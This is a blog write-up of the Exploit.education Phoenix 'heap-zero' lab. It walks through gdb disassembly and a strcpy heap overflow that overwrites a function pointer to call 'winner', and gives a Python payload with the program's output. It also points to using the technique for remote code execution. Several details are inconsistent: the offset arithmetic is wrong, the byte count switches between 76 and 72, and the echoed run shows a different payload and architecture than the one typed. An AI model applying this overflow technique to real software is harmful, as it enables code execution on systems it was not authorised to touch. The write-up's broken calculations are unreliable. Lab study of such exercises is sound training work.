If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup
Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
- Format Four Writeup - Exploit Education Lab Exercise
Quick Overview
Similar to Stack One, Heap Zero exercise motive is to smash the heap to modify other variables in the heap to a hex value
and technically overwrite function pointer
in the heap. Similar to gets
in Stack Zero, strcpy
function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared function pointer in heap.
Disassemble
Disassembling the code will get you overall idea behind the heap-zero code, One can use gdb ./heap-zero
to start debugging it in runtime.
gdb ./heap-zero
- Type
disassemble main
to get the disassembled code (assembly)
0x08048867 <+0>: lea ecx,[esp+0x4]
0x0804886b <+4>: and esp,0xfffffff0
0x0804886e <+7>: push DWORD PTR [ecx-0x4]
0x08048871 <+10>: push ebp
0x08048872 <+11>: mov ebp,esp
0x08048874 <+13>: push ebx
0x08048875 <+14>: push ecx
0x08048876 <+15>: sub esp,0x10
0x08048879 <+18>: mov ebx,ecx
0x0804887b <+20>: sub esp,0xc
0x0804887e <+23>: push 0x804ac44
0x08048883 <+28>: call 0x8048600 <puts@plt>
0x08048888 <+33>: add esp,0x10
0x0804888b <+36>: cmp DWORD PTR [ebx],0x1
0x0804888e <+39>: jg 0x80488aa <main+67>
0x08048890 <+41>: sub esp,0xc
0x08048893 <+44>: push 0x804ac90
0x08048898 <+49>: call 0x8048600 <puts@plt>
0x0804889d <+54>: add esp,0x10
0x080488a0 <+57>: sub esp,0xc
0x080488a3 <+60>: push 0x1
0x080488a5 <+62>: call 0x8048680 <exit@plt>
0x080488aa <+67>: sub esp,0xc
0x080488ad <+70>: push 0x40
0x080488af <+72>: call 0x8049146 <malloc>
0x080488b4 <+77>: add esp,0x10
0x080488b7 <+80>: mov DWORD PTR [ebp-0xc],eax
0x080488ba <+83>: sub esp,0xc
0x080488bd <+86>: push 0x40
0x080488bf <+88>: call 0x8049146 <malloc>
0x080488c4 <+93>: add esp,0x10
0x080488c7 <+96>: mov DWORD PTR [ebp-0x10],eax
0x080488ca <+99>: mov eax,DWORD PTR [ebp-0x10]
0x080488cd <+102>: mov DWORD PTR [eax],0x804884e
0x080488d3 <+108>: mov eax,DWORD PTR [ebx+0x4]
0x080488d6 <+111>: add eax,0x4
0x080488d9 <+114>: mov edx,DWORD PTR [eax]
0x080488db <+116>: mov eax,DWORD PTR [ebp-0xc]
0x080488de <+119>: sub esp,0x8
0x080488e1 <+122>: push edx
0x080488e2 <+123>: push eax
0x080488e3 <+124>: call 0x80485b0 <strcpy@plt>
0x080488e8 <+129>: add esp,0x10
0x080488eb <+132>: mov eax,DWORD PTR [ebp-0x10]
0x080488ee <+135>: mov eax,DWORD PTR [eax]
0x080488f0 <+137>: push eax
0x080488f1 <+138>: push DWORD PTR [ebp-0x10]
0x080488f4 <+141>: push DWORD PTR [ebp-0xc]
0x080488f7 <+144>: push 0x804acb8
0x080488fc <+149>: call 0x80485d0 <printf@plt>
0x08048901 <+154>: add esp,0x10
0x08048904 <+157>: mov eax,ds:0x804c2c0
0x08048909 <+162>: sub esp,0xc
0x0804890c <+165>: push eax
0x0804890d <+166>: call 0x8048610 <fflush@plt>
0x08048912 <+171>: add esp,0x10
0x08048915 <+174>: mov eax,DWORD PTR [ebp-0x10]
0x08048918 <+177>: mov eax,DWORD PTR [eax]
0x0804891a <+179>: call eax
0x0804891c <+181>: mov eax,0x0
0x08048921 <+186>: lea esp,[ebp-0x8]
0x08048924 <+189>: pop ecx
0x08048925 <+190>: pop ebx
0x08048926 <+191>: pop ebp
0x08048927 <+192>: lea esp,[ecx-0x4]
0x0804892a <+195>: ret
If you carefully check the source, you might miss winner
in the above disassembled code. You can go ahead and type disassemble winner
in the gdb prompt,
0x08048835 <+0>: push ebp
0x08048836 <+1>: mov ebp,esp
0x08048838 <+3>: sub esp,0x8
0x0804883b <+6>: sub esp,0xc
0x0804883e <+9>: push 0x804abd0
0x08048843 <+14>: call 0x8048600 <puts@plt>
0x08048848 <+19>: add esp,0x10
0x0804884b <+22>: nop
0x0804884c <+23>: leave
0x0804884d <+24>: ret
Before taking a look at the code, if you disassembled the heap-zero using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
message via Puts (aka printf) method - It checks if an argument was passed to the program. If not, it prints a message asking for an argument and exits.
- It allocates memory for a data structure and an fp structure using malloc.
- It initializes the function pointer in the fp structure to point to the nowinner function.
- It copies the argument passed to the program into the name field of the data structure using strcpy.
- It prints the addresses of the data and fp structures and the address of the function pointed to by fp.
- It calls the function pointed to by fp, which by default is the nowinner function that prints a message indicating that the level has not been passed.
Primary Goal
The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system
function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the function pointer fp
with winner
function memory address.
Memory Allocation
As you see that the data
struct is dynamically allocated, they are allocated seperately by malloc
different from stack frame. You can see that data.name
(64 bytes) gets written at 0xf7e69008
and fp
integer variable (4 bytes) at 0xf7e69050
. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the buffer to overwrite fp
. If you play around with these memory layout behaviour, you may note that the char buffer
variable writes from $0xf7e69008
grows towards $0xf7e69050
.
So, the overflow bytes can be calculated as 0x50
- 0x08
(hexadecimal) results in 0x42
and converted to decimal (72). So, you can overflow the buffer with 72 bytes and overwrite the fp
variable. However, you may note that the fp
variable is an integer and it is 4 bytes long. So, you can overflow the buffer with 72 bytes and 4 bytes of fp
variable. So, the total bytes to overflow is 72 + 4 = 76
bytes. Now, you can go ahead and generate the payload with 76 bytes of A
and 4 bytes of fp
variable. The remaining 4 bytes of fp
variable can be overwritten with winner
function memory address.
To get the winner memory address, you can use gdb to disassemble the winner
function and note down the starting address of the function. You can use disassemble winner
command in gdb to disassemble the winner
function. The starting address of the winner
function is 0x08048835
. The address 0x08048835
can be represented in little endian format as \x35\x88\x04\x08
. So, the final payload would be 76 bytes of A + 4 bytes of fp variable + 4 bytes of winner function address
. You can use python to generate the payload as follows,
print('A'*72 + '\x35\x88\x04\x08')
Exploit
So, the final exploit would be as follows,
(gdb) r $(python -c "print('A'*72 + '\x35\x88\x04\x08')")
Starting program: /opt/phoenix/amd64/heap-zero <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x08048835
Congratulations, you have passed this level
There you go! 🎉 You’ve officially pwned
the binary
and possibly you could control the program flow and may
eventually perform remote code execution in the system. 🪲
Source and Reference:
- Heap Zero Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.